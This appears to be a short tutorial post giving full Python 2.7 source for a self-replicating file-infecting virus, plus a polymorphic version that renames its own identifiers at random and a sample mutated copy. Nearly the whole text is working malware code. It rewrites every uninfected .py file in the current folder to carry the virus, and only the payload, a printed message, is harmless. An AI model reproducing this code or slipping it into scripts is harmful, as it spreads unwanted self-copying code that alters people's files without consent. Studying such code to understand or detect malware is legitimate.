Basic Virus's Infection & Variation [Python]

Learn from here

Initial

#!/usr/bin/python2.7
#MAGIC_STRING_skd83749872

import os
import __main__
import random

def infect(filename):
    os.rename(filename, filename + '~')

    destination = open(filename, "w")
    source = open(filename + "~", "r")
    this = open(__main__.__file__, "r")

    for line in this:
        destination.write(line)
        if line.startswith("#MAGIC_STRING_9348788nkmsd"):
            break;

    for line in source:
        destination.write(line)

    source.close()
    destination.close()
    this.close()

def is_infected(filename):
    f = open(filename, "r")
    return f.readline().startswith("#MAGIC_STRING_skd83749872")

def find_and_infect_files():
    path = "."
    dirs = os.listdir(path)
    for filename in dirs:
        if filename.endswith(".py") and not is_infected(filename):
            infect(filename)

find_and_infect_files()
print "---------------------------this is silly python virus-----------------"

#MAGIC_STRING_9348788nkmsd

Variation 1

#MAGIC_STRING_skd83749872
import os
import __main__
import random

def infect(filename):
    os.rename(filename, filename + "~")

    destination = open(filename, "w")
    source = open(filename + "~", "r")
    this = open(__main__.__file__, "r")

    mutations = init_mutation()

    for line in this:
        destination.write(mutate(line, mutations))
        if line.startswith("#MAGIC_STRING_9348788nkmsd"):
            break;

    for line in source:
        destination.write(line)

    source.close()
    destination.close()
    this.close()

def is_infected(filename):
    f = open(filename, "r")
    return f.readline().startswith("#MAGIC_STRING_skd83749872")

def mutate(line, mutations):
    for k, v in mutations.iteritems():
        line = line.replace(k, v)
    return line

def init_mutation():
    original = ['filename', 'find_and_infect_files', 'init_mutation', 'source'
                'is_infected', 'infect', 'randstring', 'destination', 'mutate',
                'randstring', 'original', 'mutations']
    mutated = []
    for o in original:
        mutated.append((o, rand_string(len(o))))
    return dict(mutated)

def rand_string(length):
    randstring = ''
    for i in range(0, length):
        randstring += chr(random.randint(97, 122))
    return randstring

def find_and_infect_files():
    path = "."
    dirs = os.listdir(path)
    for filename in dirs:
        if filename.endswith(".py") and not is_infected(filename):
            infect(filename)

find_and_infect_files()
print "----------this is silly python virus----------"
#MAGIC_STRING_9348788nkmsd

Variation 2

#MAGIC_STRING_skd83749872
import os
import __main__
import random

def tnjjel(ptphbids):
    os.rename(ptphbids, ptphbids + "~")

    buszvmkioof = open(ptphbids, "w")
    source = open(ptphbids + "~", "r")
    this = open(__main__.__file__, "r")

    ontsgrefv = puezajbvokbom()

    for line in this:
        buszvmkioof.write(vgaisf(line, ontsgrefv))
        if line.startswith("#MAGIC_STRING_9348788nkmsd"):
            break;

    for line in source:
        buszvmkioof.write(line)

    source.close()
    buszvmkioof.close()
    this.close()

def is_tnjjeled(ptphbids):
    f = open(ptphbids, "r")
    return f.readline().startswith("#MAGIC_STRING_skd83749872")

def vgaisf(line, ontsgrefv):
    for k, v in ontsgrefv.iteritems():
        line = line.replace(k, v)
    return line

def puezajbvokbom():
    slrxwwms = ['ptphbids', 'find_and_tnjjel_files', 'puezajbvokbom', 'source'
                'is_tnjjeled', 'tnjjel', 'qebmtybcrm', 'buszvmkioof', 'vgaisf',
                'qebmtybcrm', 'slrxwwms', 'ontsgrefv']
    vgaisfd = []
    for o in slrxwwms:
        vgaisfd.append((o, rand_string(len(o))))
    return dict(vgaisfd)

def rand_string(length):
    qebmtybcrm = ''
    for i in range(0, length):
        qebmtybcrm += chr(random.randint(97, 122))
    return qebmtybcrm

def find_and_tnjjel_files():
    path = "."
    dirs = os.listdir(path)
    for ptphbids in dirs:
        if ptphbids.endswith(".py") and not is_tnjjeled(ptphbids):
            tnjjel(ptphbids)

find_and_tnjjel_files()
print "----------this is silly python virus----------"
#MAGIC_STRING_9348788nkmsd

---

Bingo !